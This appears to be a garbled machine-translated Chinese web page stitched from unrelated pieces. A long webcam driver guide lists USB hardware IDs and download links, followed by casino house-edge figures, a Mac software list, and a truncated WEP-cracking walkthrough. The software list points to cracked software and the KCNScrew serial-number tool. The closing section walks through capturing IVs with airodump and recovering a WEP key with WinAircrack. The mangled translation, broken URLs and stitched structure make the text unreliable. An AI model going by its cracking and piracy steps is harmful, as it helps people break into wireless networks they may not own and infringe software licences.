Q: the camera drivers are hard to find?.
A: hard to find. .
Q: why?.
A: The brand plethora cottage, no home, do not provide driver downloads, a year or so's also likely to close down service out of the question. Currently there is no universal test camera controller chips, software, can not find the drive controller chips. .
Q: okay?.
A: Of course not, you can check the hardware ID to learn about the camera hardware manufacturers, model number, install the public version of drivers. .
The following explains what the hardware ID, how to get the hardware ID and how to find the camera ID based hardware drivers.
(If you want violence, dismantle the camera, intuitive camera to see the main chip, then the following article you can not see, go directly to drive good). .
Found via hardware ID exactly what you're driving or ask for help.
What is the hardware ID it? . .
All computer hardware ID is a number of hardware, all devices have the following number: VEN VEN_1106&DEV_3038, on behalf of the manufacturer of your hardware, DEV representative product numbers. USB devices will have the following number: VID_045E&PID_0039, I is the same as above. All testing software are likely to be wrong, only the hardware ID is the most reliable, as long as the confirmation of the INF file contains the necessary hardware ID, which guarantees that can be used. Specific to the camera, we need to know the VID and PID. . .
How to get the camera hardware ID?.
Method 1:. .
The easiest way is to directly in the Device Manager view. Right-click "my computer"--management--the "Device Manager"---"image processing equipment" select any camera equipment, double-click the "more information" section to see the following information:.
The above section of code that means:. .
Including representatives of pine Han, VID_0C45 PID_62C0 288 on behalf of the chip.
Method 2:. .
Use the USBVIEW software queries..
Download: http://tools. . Mydrivers. .com/soft/287. . Htm. .
The following is the current mainstream camera chip manufacturer code, for reference purposes only:.
VID (factory code). .
PID (chip codename).
Manufacturers and chip type. .
VID_0C45。.
PID_62C0. .
Taiwan Sung Han 288 288 and which is the same code 288P.
USB2. .0 Avoid flooding. .
VID_0AC8。.
PID_303B. .
Vimicro 301H, 303, USB1.1, you need to install the driver.
VID_0AC8. .
PID_3340。.
Vimicro 334, USB2. .0 Avoid flooding. .
VID_1781。.
PID_0306. .
Taiwan Chia-Ying 308H .0-free drive USB2. VID and PID with query site.
http://www. . Linux-usb. .org / usb. . Ids. .
Gets the VID and PID, according to this download, then open the driver INF file, you can find inside the corresponding device manager and hardware ID to determine whether the correct driver.
The most common camera, for example, as many camera manufacturers, drive very confusing, all sites are the so-called universal, the world has universal thing? Let us believe that the hardware ID, the market focused on the hardware ID, because the camera chip manufacturers on so few, so that you can so that we can easily find all the required drivers. .
The following are common camera VID, PID and corresponding solutions, driver download:.
The most common camera hardware ID: VID_0AC8 & PID_0302. .
VID_0AC8 is code that SMIC.
Common options are as follows:. .
USB\VID_0AC8 & PID_303B 301PLH programme download:.
http://drivers. . Mydrivers. .com/search/902-1418-h17139 /. .
USB\VID_0AC8 & PID_301B 301B programme download:.
http://drivers. . Mydrivers. .com/drivers/204-81603-VIMICRO-ZC0301PL-301. .4. .328. .07-Win2000-XP-XP-64-Vista-Vista-64 /. .
USB\VID_0AC8 & PID_305B 305B programme http://drivers. .mydrivers. .com/search/902-1418-h19124/.
USB \ VID_0AC8 & PID_307B ZS211 program http://drivers. . Mydrivers. .com/search/902-1418-h28374 /. .
[/fly] USB\VID_0ac8&PID_0321 VC0321 http://drivers。.mydrivers。.com/search/902-1418-h24807/。.
USB \ VID_0ac8 & PID_0323 VC0323 http://drivers. . Mydrivers. .com/search/902-1418-h24805 /. .
USB\VID_0ac8&PID_0323 ZC0323P http://drivers。.mydrivers。.com/search/902-1418-h29222/。.
USB \ VID_0ac8 & PID_0328 ZC0326. .
USB\VID_0ac8 & PID_0326 ZC0326 download address:.
http://drivers. . Mydrivers. .com/drivers/260-104356-VIMICRO-VC0326-For-Win98SE-ME-2000-XP /. .
See many of my friends find no camera driver vimicro, update one of the programme.
Download:. .
http://drivers。.mydrivers。.com/search/902-1418-h29045/。.
Supports the following hardware ID:. .
USB\VID_0ac8&PID_3313。.
USB \ VID_0ac8 & PID_0331. .
USB\VID_0ac8&PID_331B。.
USB \ VID_0ac8 & PID_0332. .
USB\VID_0ac8&PID_332D。.
USB \ VID_0ac8 & PID_3330. .
USB\VID_0ac8&PID_3332。.
USB \ VID_0ac8 & PID_3333. .
USB\VID_0ac8&PID_3340。.
USB \ VID_0ac8 & PID_3342. .
USB\VID_0ac8&PID_3343。.
USB \ VID_0ac8 & PID_0336. .
USB\VID_0ac8&PID_336D。.
USB \ VID_0ac8 & PID_3410. .
USB\VID_0ac8&PID_3420。.
USB \ VID_0ac8 & PID_3430. .
USB\VID_0ac8&PID_3440。.
USB \ VID_0ac8 & PID_3000. .
VID_0C45 Taiwan Song Han e Sonix out.
【Update a few relatively rare OEM program】 Han Song Download:. .
USB\VID_0c46&PID_605a 。.
http://drivers. . Mydrivers. .com/drivers/259-103869-SONiX-SN9C102P-105-110-120-4. .31. .3. .10-For-Win2000-XP /. .
USB\VID_0c45 & PID_8008 download address:.
http://drivers. . Mydrivers. .com/drivers/259-103870-SONiX-SN9C202-2. .18. .1. .0-For-Win2000-XP /. .
USB\VID_0C45 & PID_600D download address:.
http://drivers. . Mydrivers. .com/drivers/205-82011-Chicony-DC-2110 (TwinkleCam) -1. .0-For-Win98SE-ME-2000-XP /. .
【 SN9C101 solutions??download address: http://drivers. .mydrivers. .com/drivers/204-81784-SONiX-SN9C101-SN9C102-4. .1 .001-For-Win98SE-ME-2000-XP .20../..
USB \ VID_0c45 & PID_603f; SN9C101 + CISVF10. .
USB\VID_0c45&PID_602a ; SN9C101 + HV7131 D/E 。.
USB \ VID_0c45 & PID_602d; SN9C101 + HV7131 R. .
USB\VID_0c45&PID_6009 ; SN9C101 + PAS106 。.
USB \ VID_0c45 & PID_6005; SN9C101 + TAS5110. .
USB\VID_0c45&PID_6019 ; SN9C101 + OV7630 。.
USB \ VID_0c45 & PID_6011; SN9C101 + OV6650. .
USB\VID_0c45&PID_6007 ; SN9C101 + TAS5110D。.
Program】 【SN9C102 Download: http://drivers. . Mydrivers. .com/drivers/204-81784-SONiX-SN9C101-SN9C102-4. .20. .1. .001-For-Win98SE-ME-2000-XP /. .
USB\VID_0c45&PID_602c ; SN9C102 + OV7630 。.
USB \ VID_0c45 & PID_6030; SN9C102 + MI0343 MI0360 MI0330. .
USB\VID_0c45&PID_6024 ; SN9C102 + TAS5130 。.
USB \ VID_0c45 & PID_6025; SN9C102 + TAS5130. .
USB\VID_0c45&PID_6028 ; SN9C102 + PAS202 。.
USB \ VID_0c45 & PID_6029; SN9C102 + PAS106. .
【 SN9C102P solutions??download address: http://drivers. .mydrivers. .com/search/902-1303-h24842/.
USB \ VID_0c45 & PID_6040; SN9C102P + MI0360. .
USB\VID_0c45&PID_607a ; SN9C102P + OV7648 。.
USB \ VID_0c45 & PID_607c; SN9C102P + HV7131R. .
USB\VID_0c45&PID_607e ; SN9C102P + OV7630 。.
USB \ VID_0c45 & PID_607b; SN9C102P + OV7660. .
【 SN9C103 solutions??download address: http://drivers. .mydrivers. .com/search/902-1303-h24843/.
USB \ VID_0c45 & PID_608e; CISVF10. .
USB\VID_0c45&PID_6083 ;HY7131D/E 。.
USB \ VID_0c45 & PID_608c; HY7131 / R. .
USB\VID_0c45&PID_608f ;OV7630 。.
USB \ VID_0c45 & PID_60af; PAS202. .
USB\VID_0c45&PID_60a8 ;PAS106 。.
USB \ VID_0c45 & PID_6082; MI0343, MI0360. .
USB\VID_0c45&PID_60aa ;TAS5130 。.
USB \ VID_0c45 & PID_6025; TAS5130. .
【 SN9C105 solutions??download address: http://drivers. .mydrivers. .com/search/902-1303-h24842/.
USB \ VID_0c45 & PID_60c0 & MI_00; SN9C105 + MI0360. .
USB\VID_0c45&PID_60fa&MI_00 ; SN9C105 + OV7648。.
USB \ VID_0c45 & PID_60fc & MI_00; SN9C105 + HV7131R. .
USB\VID_0c45&PID_60fe&MI_00 ; SN9C105 + OV7630。.
USB \ VID_0c45 & PID_60fb & MI_00; SN9C105 + OV7660. .
USB\VID_0c45&PID_60f2&MI_00 ; SN9C105 + OV7670。.
USB \ VID_0c45 & PID_60ef & MI_00; SN9C105 + ICM105C. .
USB\VID_0c45&PID_60cc&MI_00 ; SN9C105 + HV7131GP。.
USB \ VID_0c45 & PID_60ec & MI_00; SN9C105 + MO4000. .
USB\VID_0c45&PID_60c8&MI_00 ; SN9C105 + OM6802。.
USB \ VID_0c45 & PID_60c2 & MI_00; SN9C105 + P1030xC. .
USB\VID_0c45&PID_60ce&MI_00 ; SN9C105 + SP80708。.
Program】 【SN9C110 Download: http://drivers. . Mydrivers. .com/search/902-1303-h24842 /. .
USB\VID_0c45&PID_612e ; SN9C110 + OV7630 。.
USB \ VID_0c45 & PID_612f; SN9C110 + ICM105C. .
USB\VID_0c45&PID_6122 ; SN9C110 + ICM105C 。.
USB \ VID_0c45 & PID_612a; SN9C110 + OV7648. .
USB\VID_0c45&PID_6123 ; SN9C110 + SanyoCCD 。.
USB \ VID_0c45 & PID_612c; SN9C110 + MO4000. .
【 SN9C120 solutions??download address: http://drivers. .mydrivers. .com/search/902-1303-h24842/.
USB \ VID_0c45 & PID_6130; 120 + MI0360/MT9V111/MI0360B. .
USB\VID_0c45&PID_613a ; SN9C120 + OV7648。.
USB \ VID_0c45 & PID_613c; SN9C120 + HV7131R. .
USB\VID_0c45&PID_613e ; SN9C120 + OV7630。.
USB \ VID_0c45 & PID_6132; SN9C120 / SN9C120B + OV7670. .
USB\VID_0c45&PID_613b ; SN9C120 + OV7660。.
USB \ VID_0c45 & PID_6138; SN9C120 + MO4000. .
USB\VID_0c45&PID_6108 ; SN9C120 + OM6802。.
USB \ VID_0c45 & PID_6148; SN9C120B + OM6802. .
USB\VID_0c45&PID_6102 ; SN9C120 + PO2030N/GC0305。.
USB \ VID_0c45 & PID_6142; SN9C120B + PO2030N/GC0305. .
USB\VID_0c45&PID_6143 ; SN9C120B + SP80708。.
USB \ VID_0c45 & PID_614c; SN9C120B + GC0306. .
【 SN9C128 solutions??download address: http://drivers. .mydrivers. .com/search/902-1303-h21430/.
USB \ VID_0c45 & PID_6100; MI0360 / MT9V111 / MI0360B. .
USB\VID_0c45&PID_610a ; OV7648 。.
USB \ VID_0c45 & PID_610c; HV7131R. .
USB\VID_0c45&PID_610e ; OV7630 。.
USB \ VID_0c45 & PID_610b; OV7660. .
【 SN9C201 solutions??download address: http://drivers. .mydrivers. .com/search/902-1303-h21429/.
USB \ VID_0c45 & PID_6240; SN9C201 + MI1300. .
USB\VID_0c45&PID_6242 ; SN9C201 + MI1310。.
USB \ VID_0c45 & PID_624e; SN9C201 + SOI968. .
USB\VID_0c45&PID_624f ; SN9C201 + OV9650。.
USB \ VID_0c45 & PID_6243; SN9C201 + S5K4AAFX. .
USB\VID_0c45&PID_624b ; SN9C201 + CX1332。.
USB \ VID_0c45 & PID_627f; EEPROM. .
USB\VID_0c45&PID_6248 ; SN9C201 + OV9655。.
USB \ VID_0c45 & PID_624c; SN9C201 + MI1320. .
USB\VID_0c45&PID_6270 ; SN9C201 + MI0360\MT9V111。.
USB \ VID_0c45 & PID_627c; SN9C201 + HV7131R. .
USB\VID_0c45&PID_627b ; SN9C201 + OV7660。.
USB \ VID_0c45 & PID_627a; SN9C201 + S5K53BEB. .
USB\VID_0c45&PID_6260 ; SN9C201 + OV7670ISP。.
USB \ VID_0c45 & PID_6262; SN9C201 + OM6802. .
【 SN9C202 solutions??download address: http://drivers. .mydrivers. .com/search/902-1303-h21429/.
USB \ VID_0c45 & PID_6280 & MI_00; SN9C202 + MI1300. .
USB\VID_0c45&PID_6282&MI_00 ; SN9C202 + MI1310。.
USB \ VID_0c45 & PID_628e & MI_00; SN9C202 + SOI968. .
USB\VID_0c45&PID_628f&MI_00 ; SN9C202 + OV9650。.
USB \ VID_0c45 & PID_6288 & MI_00; SN9C202 + OV9655. .
USB\VID_0c45&PID_628a&MI_00 ; SN9C202 + ICM107。.
USB \ VID_0c45 & PID_628c & MI_00; SN9C202 + MI1320. .
USB\VID_0c45&PID_62b0&MI_00 ; SN9C202 + MI0360\MT9V111。.
USB \ VID_0c45 & PID_62bc & MI_00; SN9C202 + HV7131R. .
USB\VID_0c45&PID_62bb&MI_00 ; SN9C202 + Ov7660。.
USB \ VID_0c45 & PID_62ba & MI_00; SN9C202 + S5K53BEB. .
USB\VID_0c45&PID_628b&MI_00 ; SN9C202 + CX1332。.
USB \ VID_0c45 & PID_6283 & MI_00; SN9C202 + S5K4AAFX. .
USB\VID_0c45&PID_62a0&MI_00 ; SN9C202 + Ov7670ISP。.
USB \ VID_0c45 & PID_62a2 & MI_00; SN9C202 + OM6802. .
【 SN9C255 solutions??download address: http://drivers. .mydrivers. .com/search/902-1303-h24844/.
USB \ VID_0C45 & PID_62C0. .
USB\VID_0C45&PID_62C1 。.
USB \ VID_0C45 & PID_62E0. .
【 SN9C325 solutions??download address: http://drivers. .mydrivers. .com/search/902-1303-h24846/.
USB \ VID_0c45 & PID_612a; SN9C325 + OV7648 + POx1030xC + SOI768 + PO2030N + OV7660 + OV7670 + HV7131R. .
USB\VID_0c45&PID_6128 ; SN9C325 + OM6802。.
Should be the forum to remind friends, add a song to avoid flooding Han electronic camera out of the program. .
【 Pines han1 SNP2UVC ??download address: http://drivers. .mydrivers. .com/search/902-1303-h29223/.
USB \ VID_0C45 & PID_62C0; SN9C211/213/230. .
USB\VID_0C45&PID_6300 ;SN9C216/236。.
USB \ VID_0C45 & PID_6310; SN9C230C. .
USB\VID_0C45&PID_62E1 ;SN9C255 non-audio。.
USB \ VID_0C45 & PID_62F0; SN9C210/233. .
USB\VID_0C45&PID_62C1 ;SN9C212。.
USB \ VID_0C45 & PID_62E0; SN9C255. .
USB\VID_0C45&PID_6301 ;SN9C226。.
USB \ VID_0C45 & PID_62F1; SN9C253. .
VID_05A9 OmniVision 。.
USB \ VID_05A9 & PID_A518 http://drivers. . Mydrivers. .com/search/902-1630-h29229 /. .
USB\VID_05A9&PID_A511 http://drivers。.mydrivers。.com/search/902-1630-h29228/。.
USB \ VID_05A9 & PID_4519 http://drivers. . Mydrivers. .com/search/902-1630-h29227 /. .
USB\VID_05a9&PID_0519 http://drivers。.mydrivers。.com/search/902-1630-h29227/。.
USB \ VID_05a9 & PID_0531 http://drivers. . Mydrivers. .com/search/902-1630-h29226 /. .
USB\VID_05a9&PID_0550 http://drivers。.mydrivers。.com/search/902-1630-h29225/。.
USB \ VID_05a9 & PID_2800 http://drivers. . Mydrivers. .com/search/902-1630-h29224 /. .
VID_1B17 CNLTF 。.
CNLTF A380 camera, the program Download: http://drivers. . Mydrivers. .com/search/902-1634-h29230 /. .
ID: hardware.
USB \ VID_1B17 & PID_6100. .
USB\VID_1B17&PID_6101 。.
USB \ VID_1B17 & PID_6110. .
USB\VID_1B17&PID_6111。.
VID_1871 Aveo Ka Ying Microelectronics. .
388 camera programme download: http://drivers. .mydrivers. .com/search/902-1635-h29231/.
Hardware ID:. .
USB\VID_1871&PID_0306 。.
USB \ VID_1871 & PID_01f0. .
USB\VID_1871&PID_56CC。.
VID_093A the original phase and Technology in Taiwan. .
USB\VID_093A&PID_2468 。.
USB \ VID_093A & PID_2460. .
Download address: http://drivers. .mydrivers. .com/search/902-1580-h24847/.
【Original phase PAP7501 solution against. .
USB\VID_093A&PID_2700。.
USB \ VID_093A & PID_2800. .
USB\VID_093A&PID_2801。.
Download: http://drivers. . Mydrivers. .com/search/902-1580-h29232 /. .
VID_093A PAC7302 original phase.
USB \ VID_093A & PID_2620. .
USB\VID_093A&PID_2628。.
Download: http://drivers. . Mydrivers. .com/search/902-1580-h25427 /. .
USB\VID_093a&PID_010e。.
Download:. .
http://drivers。.mydrivers。.com/drivers/260-104357-PixArt-MR97310-For-Win98SE-ME-2000-XP/ 。.
SiGma Micro. .
SG310 programme http://drivers. .mydrivers. .com/search/902-1631-h29233/.
USB \ VID_1C4F & PID_3000. .
USB\VID_0F35&PID_FAF5 。.
VID_EB1A Taiwan and Rhea (empia). .
USB\VID_EB1A&PID_2710。.
USB \ VID_EB1A & PID_2711. .
USB\VID_EB1A&PID_2750。.
USB \ VID_EB1A & PID_2751. .
USB\VID_EB1A&PID_2870。.
Download:. .
http://drivers。.mydrivers。.com/search/902-1579-h24833/。.
eMPIA EM27xx and EM28xx/EM29xx program camera. .
USB\VID_EB1A&PID_2800。.
USB \ VID_EB1A & PID_2801. .
USB\VID_EB1A&PID_2820。.
USB \ VID_EB1A & PID_2821. .
USB\VID_EB1A&PID_2840。.
USB \ VID_EB1A & PID_2841. .
USB\VID_EB1A&PID_2860。.
USB \ VID_EB1A & PID_2861. .
USB\VID_EB1A&PID_2870。.
USB \ VID_EB1A & PID_2880. .
USB\VID_EB1A&PID_2881。.
USB \ VID_EB1A & PID_2710. .
USB\VID_EB1A&PID_2711。.
USB \ VID_EB1A & PID_2750. .
USB\VID_EB1A&PID_2751。.
USB \ VID_EB1A & PID_2761. .
USB\VID_EB1A&PID_2766。.
USB \ VID_EB1A & PID_2901. .
Download:.
http://drivers. . Mydrivers. .com/search/902-1579-h24833 /. .
VID_05E3 GenesysLogic create subject.
USB \ VID_05E3 & PID_0503. .
USB\VID_05E3&PID_F191。.
Download:. .
http://drivers。.mydrivers。.com/search/902-1632-h29234/。.
VID_0402 Taiwan ALi Ali. .
USB\VID_0402&PID_5602。.
Download:. .
http://drivers。.mydrivers。.com/search/902-75-h29235/ 。.
VID_06A2 Taiwan Dominance Topro. .
USB\VID_06A2&PID_0003。.
Download:. .
http://drivers。.mydrivers。.com/search/902-1583-h24884/。.
PS: Dominance TP6800 camera program combined four chips, 4 chips combinations are: TP6800 + HY7131R; TP6800 + MT9V011; TP6800 + PAS302; TP6800 + EVS350. We can test the effect of the next drive would be better. .
A friend of reflecting lingyue TP6800 programme some camera does not work properly. Updates a lingyue TP6801 again, like the hardware ID may also be TP6801..
TP6801 program. .
USB\VID_06A2&PID_0001。.
USB \ VID_06A2 & PID_0003. .
USB\VID_06A2&PID_6810。.
Download:. .
http://drivers。.mydrivers。.com/search/902-1583-h29236/。.
NetEase film program】 【Aiptek. .
VID_0553 STMicroelectronics STMicroelectronics.
USB \ VID_0553 & PID_0200. .
USB\VID_0553&PID_0201。.
USB \ VID_0553 & PID_0202. .
Download:.
http://drivers. . Mydrivers. .com/search-902-1633 /. .
Early in the domestic aiputaike NetEase shoot too of STMicroelectronics chips STV0680..
Aiptek DV5900. .
USB\VID_08CA&PID_2024。.
http://drivers. . Mydrivers. .com/search/902-1549-h29240 /. .
The chip is actually CA536A Sunplus.
Taiwan, Sunplus Sunplus 【code: VID_04FC】 provided to Aiptek camera program, using CA533A program. .
USB\VID_08CA&PID_2010 。.
USB \ VID_08CA & PID_2012. .
USB\VID_08CA&PID_2020 。.
USB \ VID_08CA & PID_2022. .
Download:.
http://drivers. . Mydrivers. .com/search/902-1549-h29238 /. .
Sunplus VID_04FC Taiwan Sunplus.
Sunplus CA533A】 【program. .
USB\VID_03F0&PID_6902 。.
USB \ VID_052B & PID_1708. .
Download:.
http://drivers. . Mydrivers. .com/search/902-1549-h29238 /. .
【 】 Sunplus CA504A programme.
USB \ VID_04FC & PID_504A. .
Download:.
http://drivers. . Mydrivers. .com/search/902-1549-h29239 /. .
【 】 Sunplus CA536A programme.
USB \ VID_04FC & PID_5360. .
Download:.
http://drivers. . Mydrivers. .com/search/902-1549-h29240 /. .
【 】 Sunplus SPCA561 programme.
USB \ VID_04fc & PID_0561. .
Download:.
http://drivers. . Mydrivers. .com/search/902-1549-h21431 /. .
【 】 Sunplus Ca522B programme.
USB \ VID_04FC & PID_2000. .
Download:.
http://drivers. . Mydrivers. .com/search/902-1549-h29241 /. .
【 】 Sunplus CA2001 programme.
USB \ VID_04FC & PID_2001. .
Download:.
http://drivers. . Mydrivers. .com/search/902-1549-h29242 /. .
VID_05e1 Syntek semiconductor Taiwan too pleased.
】 【Syntek STK013 program. .
USB\VID_05e1&PID_0892。.
Download:. .
http://drivers。.mydrivers。.com/search/902-1642-h29291/。.
】 【Syntek STK014 program. .
USB\VID_05e1&PID_0893。.
Download:. .
http://drivers。.mydrivers。.com/search/902-1642-h29292/。.
】 【Syntek STK016 program. .
USB\VID_05e1&PID_0895。.
Download:. .
http://drivers。.mydrivers。.com/search/902-1642-h29293/。.
Taiwan's strong reliance VID_2770 technology. .
【 】 SQ9120 chip.
USB \ VID_2770 & PID_9130. .
USB\VID_2770&PID_9120。.
Download:. .
http://drivers。.mydrivers。.com/search/902-1643-h29294/。.
】 【SQ930b chip. .
USB\VID_2770&PID_930B。.
USB \ VID_2770 & PID_930C. .
USB\VID_041E&PID_4038。.
USB \ VID_0471 & PID_0329. .
USB\VID_04F2&PID_A120。.
USB \ VID_04F2 & PID_A121. .
USB\VID_04F2&PID_A122。.
USB \ VID_04F2 & PID_A123. .
USB\VID_04F2&PID_A124。.
Download:. .
http://drivers。.mydrivers。.com/search/902-1643-h29295/。.
USB \ VID_2770 & PID_9060 leaning strongly SQ9060 program. .
Download:.
http://drivers. . Mydrivers. .com/drivers/260-104358-SQ-SQ9060-For-Win2000-XP /. .
Zoran Zoran Corporation VID_0595.
USB \ VID_0595 & PID_4343. .
Download:.
http://drivers. . Mydrivers. .com/search/902-1641-h29296 /. .
【 Singularly as music star MX-500 ??hand.
USB \ VID_052B & PID_6A02. .
Download:.
http://drivers. . Mydrivers. .com/search/902-1644-h29297 /. .
VID_0DDA Taiwan of silica into the circuit.
USB \ VID_0DDA & PID_3011. .
Download:.
http://drivers. . Mydrivers. .com/search/902-1645-h29298 /. .
【 ICM532A solutions??ICM from Taiwan.
USB \ VID_8751 & PID_010F. .
USB\VID_0923&PID_010F。.
Download: http://drivers. . Mydrivers. .com/search/902-1646-h29299 /. .
UPDATA 08/10/21。.
VID_090C from Taiwan, Silicon Motion Silicon Motion. .
USB\VID_090C&PID_B370。.
USB \ VID_090C & PID_B371. .
Download address: http://drivers. .mydrivers. .com/search/902-1647-h29300/.
VID_058F Yasukuni technology from Taiwan. .
USB\VID_058F&PID_3820。.
Download: http://drivers. . Mydrivers. .com/search/902-1640-h29301 /. .
VID_102C Etoms from Taiwan.
USB \ VID_102C & PID_6151. .
Download address: http://drivers. .mydrivers. .com/search/902-1648-h29302/.
USB \ VID_102C & PID_6251 very common IBM Q-CAM camera. .
Download address: http://drivers. .mydrivers. .com/search/902-1648-h29303/.
VID_0733 from ViewQuest. .
There are a number of programmes.
【VC5100Z】. .
USB\VID_0733&PID_5100。.
Download: http://drivers. . Mydrivers. .com/search/902-1649-h29304 /. .
【VC6100Z】。.
USB \ VID_0733 & PID_6100. .
Download address: http://drivers. .mydrivers. .com/search/902-1649-h29305/.
【VQ5300Z】. .
USB\VID_0733&PID_5300。.
Download: http://drivers. . Mydrivers. .com/search/902-1649-h29306 /. .
【VQ2210】。.
USB \ VID_0733 & PID_2211. .
Download address: http://drivers. .mydrivers. .com/search/902-1649-h29307/data flow: casino game makers in a variety of advantages (percentage).
Roulette (double zero roulette): 5. .3>>> Double Dice (pass / come): 1. .4>>> 21 (normal players): 2. .0>>> 21 points (6 decks): 0. .5>>> Baccarat card (no tie): 1. .2>>> Electric slot machine: 5-10>>> Stud Poker: 0. .5-3>>> Keno (general): 27. .0>>> MAC OS commonly used software. .
Office Tools.
1. . Microsoft Office 2008Bate. .
Microsoft, 2007MAC Edition, but the speed is a bit ~, and no Chinese language interface, do not know how to think.
I recommend that you use the following. .
2。.iWork08。.
Apple was doing something that is good, both the good compatibility, user-friendly, making them beautiful, and do not card! . .
3。.Adobe cs3。.
The reason to classify it in the office tools inside because I often use them to solve some of the above two software can not solve things, strongly recommended. .
Network Tools.
1. . IGetter. .
Download address: http://www. .com .cn .igetter.../download .php.
This stuff is the MAC version of the Thunder full! Speed is amazing! Ever since it, I'll delete it completely speeddownload. .
2。.Mailplane。.
Download: crack version not available http://mailplaneapp. .com / download / index. . Html. .
This can only be used to read gmail, but very easy to use.
3. . Firefox3. .
Download address: http://www. .org .cn .mozilla../..
I did not get to know why the foreigners hate the browser, but I used up quite good, especially on the compatibility of some sites are much more than safari! . .
4。.Yummy FTP。.
Download: crack the occasional lack http://www. . Yummysoftware. .com / YummyFTP. . Dmg. . Zip. .
The best known Apple FTP tools below, but I do not often used, but only when the collection now.
5. . Picasa. .
One of Google's tool set for photo upload, very easy to use, and other tools are also good.
6. . AMule. .
Download address: http://www. .amule. .org/files/file .php? details. = 161.
The only MAC version of eMule, slow download speeds I would like to kill, but only put up with. .
Media playback.
1. . Cog. .
Download: download http://cogx. .org/. .php.
A very strong player, support and other itune does not support APE format, good stuff! Or free of charge. .
2。.Senuti。.
Download address: http://www. . Fadingred. .org/download/senuti/senuti_0. .50. .1 B6. . Dmg. .
Used to copy ipod songs to PC Tools, compact and easy to use.
3. . Movie Time. .
Download address: http://bbs. .macgood. .com/attachment. 287 .php? aid =.
Avi player with subtitles for the movie, stupid type, a little bug, but does not affect use. .
4。.VLC。.
Download address: http://www. . Videolan. .org / mirror. . P. . Lc-0. .8. .6 D-intel. . Dmg. .
Quite stormcodec, but the title is too much trouble, and MKV format is a bit of a problem.
5. . RealPlayer. .
Download address: http://www. .real. .com/mac/.
Very useful player, but 11 additional features to download online video, Shuangya. .
6. .QuickTime full plugin-Perian.
Installed this for you immediately into a storm quicktime video! . .
Chat tools.
1. . QQ. .
This would not have much to say.
2. . Adium. .
Download address: http://www. .adiumx. .com/? download = 10. .4.
This software can chat about the same, the very powerful. .
3。.Mercury Messenger。.
It can be used by MSN for video up! But on the good Chinese input support. .
Video production.
Two simple common stuff. .
One is the iMovie to read DV video and simple editing and production but because it is read into the format is the DV format so much space in my little white recorded almost not being an hour.
Another is to iDVD for DVD production of the late entry of this software is the test performance of the system that is called white like my miserable ... .... .
Both of these software are RI in iLife.
Other utility software. .
1。.Chmox。.
Download: http://prdownloads. . Sourceforge. . N. . 86_ppc. . Dmg? Download. .
Free software used to view CHM documentation.
2. . AppZapper. .
By deleting some no uninstaller software depends on it.
3. . IFreeMem. .
Download address: http://www. .macupdate. .com/.
Super strong memory release software. .
4. .KCNScrew also called robot.
This tool is used should be the MAC will know that it updated every two weeks are hidden most of the software SN. .
5。.SimplyRAR。.
Apple best tools to use the RAR compression or decompression, whether no one can beat us! Free software. .
6。.Sofa control。.
Very fun tool can function by remote control to have a lot of things most complete remote control can try. .
7。.Toast 8。.
Fool a strong burning software features. .
8。.CrossOver。.
I highly recommend the software program running win win without loading the operating system can run directly on win98, but it is the core of why some software can not run and I mainly relied play Diablo 2 and Half-Life 2. .
9。.Xslimmer。.
Need software! ! ! ! The greatest effect is to remove the MAC to lose weight to intelligent software without affecting any use of redundant parts. .
10。.Overflow。.
Slimming aids give DOCK DOCK interface is quite good if you do not want to see too much change too long due to procedural DOCK should try. .
11。.Sapiens。.
Download address: http://www. . Macupdate. .com / download. .php/25930/sapiens. . Dmg. .
Just go with two clicks of a mouse you recently used the most frequently used software appears both fun and practical.
12. . MacBreakZ. .
Download address: http://www. .publicspace. .net/MacBreakZ/.
Very interesting and healthy software allows you to record your computer it's mouse and keyboard through the use of frequencies to adjust the cut off time of your computer (up Tingfan be honest with people sometimes). .
13。.iSlayer。.
Download address: http://www. . Islayer. .com / index. . Php? Op = item & id = 7. .
The system used to instant status (CPU usage, and so on) of the gadget is also very beautiful.
14. .1 Password. .
Powerful management tools for major Internet password is used to record multiple sets of username password strong!.
15. . Fun Input Toy. .
Download address: http://fit. .coollittlethings. .com/.
I think the MAC is best used under the comparable Microsoft Pinyin input method tool is also very timely and intelligent high update is strongly recommended! . .
System security.
1. . DiskWarrior. .
Repair disk tools I think should be one of the prerequisite software.
2. . FileSalvage. .
Used to repair accidentally deleted data if you do not use Time machine and this should serve as one of the prerequisite software.
3. . Norton AntiVirus 11. .
Biocide even Apple should not be negligent might someday Apple users more than windows virus ....
Of course, another use is to kill the windows of the virus, I was not anyway. .
4。.Flying Buttress。.
Download: http://tc. . Versiontracker. .com / pro. . IpFlying% 20Buttress. .
It can expand simple MAC firewall set I to n is not read ... ....
5. . Little snitch. .
Can monitor software access to the network, of course, also be used as a secondary crack haha.
Game. .
1。.Big Bang Brain Games。.
Beautiful! Fun! IQ test! English ... ... spurting test also recommended. .
2。.Kill Monty。.
Vices to meet you kill the small game Guwahati ha ha! . .
3。.Quinn。.
Simply the MAC version is small and Tetris. .
4。.Zuma。.
This need not introduced it! Zuma. .
Big game.
1. . Warcraft 3. .
2. StarCraft.
3. . Neverwinter Nights 1. .
4。.Halo。.
5. . Call of Duty 2. .
6. need for speed underground 2 crazy.
7. . National rise. .
······· 。.
Found. .
First, verify that the client has NetStumbler in an AP coverage area and parameters of the signal through the AP to ' hit the spot ' (data collection).
NetStumbler Download http://www. . Netstumbler. .com / downloads /. .
Through the red frame on the chart portion of the content determines the SSID of the AP named demonalex. 802 .11b-type devices, Encryption properties for the ' encrypted ' 802 .11b under. supported by the algorithm standard, the algorithm determines the WEP. One thing to note: NetStumbler to use encryption algorithms STA [.11 wireless 802. site] will be identified on the Encryption attribute for the WEP algorithm, as in the SSID for the AP gzpia the encryption algorithm used is WPA2-AES.
Crack. .
Download the Win32 version of AirCrack Assembly---WinAirCrackPack Kit (download address: http://www. .demonalex. .net/download/wireless/aircrack/WinAircrackPack. .zip). Extract from a directory about 4 MB, including six EXE file:.
aircrack. . Exe original WIN32 version of aircrack program. .
Airdecap. .exe WEP/WPA decoding program.
airodump. . Exe frame capture program. .
Updater. WIN32 .exe version upgrade program. aircrack.
WinAircrack. . Exe WIN32 graphical front-end version of aircrack. .
Wzcook. .exe local wireless network connection cache WEPKEY loggers.
Our purpose of this experiment is to capture the appropriate data through the frame IV (initialization vector) brute get WEP KEY, it only need to use airodump. . Exe (used to capture data frame) and WinAircrack. . Exe (crack WEP KEY with) two programs on it. .
First open ariodump. .exe program, according to the following:.
. . Cap at the end, I used the example above is the 'last'; last winaircrack Tip: 'Is it only to write / record IV [initialization vector] to the cap file go? 'Here I choose' no / n '; to determine the steps above to start capturing packets after the procedure. .
